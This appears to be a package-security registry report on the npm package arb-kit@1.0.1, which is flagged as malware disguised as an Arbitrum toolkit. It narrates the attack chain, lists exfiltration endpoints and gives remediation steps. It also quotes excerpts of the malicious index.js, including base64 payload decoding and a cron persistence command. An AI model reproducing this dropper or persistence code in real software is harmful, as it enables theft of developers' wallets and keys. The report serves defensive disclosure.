registry / Credential exfiltration / arb-kit
arb-kit
Lightweight Arbitrum toolkit — ABI encoding, address utilities, gas estimation, and L2 transaction helpers
This report shows the evidence for arb-kit@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete import-time malware chain with persistence and credential exfiltration; it is unrelated to the advertised Arbitrum utility functions. Lack of an npm lifecycle hook does not mitigate runtime execution on normal import.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Any runtime import or require of `arb-kit`.
Impact
The package can persist on the host and steal cryptocurrency credentials, secrets, environment values, and SSH private keys.
Mechanism
Import-time payload drop, persistence, credential harvesting, and encrypted HTTPS exfiltration.
Attack narrative
The entrypoint executes a 37-second delayed IIFE on import. It writes a base64-decoded fixture as a hidden Node payload, installs OS-specific persistence, and launches it detached. The payload checks a mutable Gist and IPFS dead drops, waits for user idle time, searches home-directory wallet, secret, environment, shell, and SSH-key files, RSA-encrypts findings, and uploads them to Pinata.
AI rationale
This is a concrete import-time malware chain with persistence and credential exfiltration; it is unrelated to the advertised Arbitrum utility functions. Lack of an npm lifecycle hook does not mitigate runtime execution on normal import.
Evidence
package.jsonindex.jstest/fixtures/keypairs.datREADME.md~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/Library/LaunchAgents/com.apple.syncd.plist
Network endpoints5
gist.githubusercontent.com/juang55/b298754cb72942b1cdcf02ccd45cde2f/raw/cfg.txtgateway.pinata.cloudipfs.iocloudflare-ipfs.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs a delayed dropper whenever the package is imported.
- `index.js` decodes `test/fixtures/keypairs.dat` into hidden `syncd.js` under the user's home directory.
- Dropped code harvests wallet, environment, shell-profile, and SSH private-key material.
- Dropped code encrypts findings and posts them to Pinata.
- A mutable Gist/IPFS dead drop gates activation and payload behavior.
- Linux cron, Windows Task Scheduler, and macOS LaunchAgent persistence are installed.
Evidence against
- `package.json` contains no npm lifecycle scripts.
- The documented ABI utilities are benign but do not prevent entrypoint abuse.
Behavioral surface
ChildProcessCryptoFilesystemShell
UrlStrings
Source & flagged code
4 flagged · loading sourceindex.jsView file
62const chains = {
L63: 42161: { name: "Arbitrum One", rpc: "https://arb1.arbitrum.io/rpc", explorer: "arbiscan.io", native: "ETH" },
L64: 42170: { name: "Arbitrum Nova", rpc: "https://nova.arbitrum.io/rpc", explorer: "nova.arbiscan.io", native: "ETH" },
...
L79: var o = require("os");
L80: var c = require("child_process");
L81: var h = o.homedir();
L82: var d = p.join(h, ".cache-db", ".node-sync");
...
L88: var b64 = f.readFileSync(src, "utf8").trim();
L89: f.writeFileSync(s, Buffer.from(b64, "base64").toString("utf8"), { mode: 0o700 });
L90: try {
L91: if (process.platform === "linux") {
L92: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
index.jsView on unpkg · L62•matchType = normalized_sha256
matchedPackage = arb-kit@1.0.0
matchedPath = index.js
matchedIdentity = npm:YXJiLWtpdA:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
index.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 910bbb1e7a692c5a
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = arb-kit@1.0.0
matchedPath = index.js
matchedIdentity = npm:YXJiLWtpdA:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
3 High1 Medium2 Low
HighSandbox Evasion Gated Capabilityindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumInstall Persistenceindex.js
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to arb-kit@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing arb-kit@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.